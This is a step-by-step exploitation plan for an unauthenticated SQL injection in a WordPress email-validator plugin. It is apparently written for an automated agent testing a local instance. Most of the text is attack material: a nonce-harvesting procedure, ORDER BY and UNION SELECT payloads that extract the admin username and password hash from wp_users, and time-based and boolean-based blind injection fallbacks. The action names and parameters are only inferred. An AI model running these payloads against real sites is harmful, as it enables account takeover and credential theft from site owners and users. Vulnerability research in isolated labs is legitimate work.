Antideo Email Validator <= 1.0.10 - Unauthenticated SQL Injection

This research plan outlines the systematic exploitation of CVE-2025-68017, an unauthenticated SQL Injection vulnerability in the Antideo Email Validator plugin (<= 1.0.10).

---

1. Vulnerability Summary

The Antideo Email Validator plugin fails to properly sanitize or prepare user-supplied parameters before incorporating them into SQL queries. Specifically, in versions up to 1.0.10, an unauthenticated AJAX handler uses direct string concatenation or insufficient escaping when querying the plugin's internal log or validation tables. This allows an attacker to manipulate the SQL statement, enabling data extraction from the WordPress database (e.g., wp_users table).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action (Inferred): antideo_email_validator_check or antideo_email_validator_lookup (The plugin typically registers a wp_ajax_nopriv_ hook to allow frontend users to check emails).
• Vulnerable Parameter: Likely email or a log_id parameter.
• Authentication: Unauthenticated (no account required).
• Preconditions: The plugin must be active. A valid AJAX nonce may be required depending on the specific implementation of the public-facing validator.

3. Code Flow (Inferred)

1. Request: An unauthenticated user sends a POST request to admin-ajax.php with an action associated with the Antideo validator.
2. Hook: The wp_ajax_nopriv_[action] hook triggers the handler function (likely located in includes/class-antideo-email-validator-public.php or the main plugin file).
3. Extraction: The handler retrieves user input via $_POST['email'] or $_GET['email'].
4. Vulnerable Sink: The input is passed directly into a query like:

   $wpdb->get_results("SELECT * FROM {$wpdb->prefix}antideo_email_logs WHERE email = '" . $_POST['email'] . "'");
   

5. Execution: The database executes the injected SQL, and if the output is reflected in the AJAX response, data is exfiltrated.

4. Nonce Acquisition Strategy

The plugin likely uses wp_localize_script to pass a nonce to the frontend for the AJAX request.

1. Identify Shortcode: Locate the shortcode used to display the email validator (e.g., [antideo-email-validator]).
2. Create Test Page:

   wp post create --post_type=page --post_title="Validator" --post_status=publish --post_content='[antideo-email-validator]'
   

3. Extract Nonce:
   • Navigate to the newly created page using browser_navigate.
   • Identify the localized JavaScript object. Search the source for wp_localize_script output.
   • Common identifiers in this plugin: antideo_email_validator_obj or antideo_v.
   • Use browser_eval to extract the nonce:

     // Example (adjust based on actual JS object found in source)
     window.antideo_email_validator_obj?.nonce 
     

5. Exploitation Strategy

We will use a UNION-based SQL injection to extract the administrator's username and password hash.

• Step 1: Determine Column Count
  Send requests incrementing the ORDER BY count until an error occurs.
  • Payload: email=test@example.com' ORDER BY 1-- -
• Step 2: Identify Reflected Columns
  Use a UNION SELECT with identifiable strings.
  • Payload: email=invalid' UNION SELECT 1,2,'REFLECTED_3',4,5,6-- -
• Step 3: Extract Admin Data
  Once the column count and reflected position are known (e.g., position 3), extract user data.
  • Request Type: POST via http_request.
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:

    action=[ACTION_NAME]&security=[NONCE]&email=x' UNION SELECT 1,2,CONCAT(user_login,0x3a,user_pass),4,5... FROM wp_users WHERE ID=1-- -
    

6. Test Data Setup

1. Activate Plugin: wp plugin activate antideo-email-validator
2. Create Target Data: Ensure an admin user exists (default is usually ID 1).
3. Generate Logs (Optional): Perform one legitimate email check through the UI to ensure the log table is populated, which sometimes helps in stabilizing UNION queries.
4. Shortcode Page: As described in Section 4.

7. Expected Results

• Success Indicator: The AJAX response contains the concatenated string admin:$P$B... (the hash).
• Response Format: Likely a JSON object where one of the fields contains the injected data.
• Error Case: If UNION is blocked or column count is wrong, the response may be empty or contain a database error (if WP_DEBUG is on).

8. Verification Steps

After the exploit attempt, verify the extracted data matches the database:

# Verify the hash for the admin user
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID = 1"

Compare the output of this command with the string retrieved via the SQL injection.

9. Alternative Approaches

If UNION-based injection is not possible (e.g., no reflected output):

• Time-Based Blind: Use SLEEP(5) to confirm the injection.
  • email=x' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
• Boolean-Based Blind: Check for differences in response when querying ... AND 1=1 vs ... AND 1=2.
• Action Discovery: If the inferred action name is wrong, use grep -r "wp_ajax_nopriv" wp-content/plugins/antideo-email-validator/ to find the correct registration.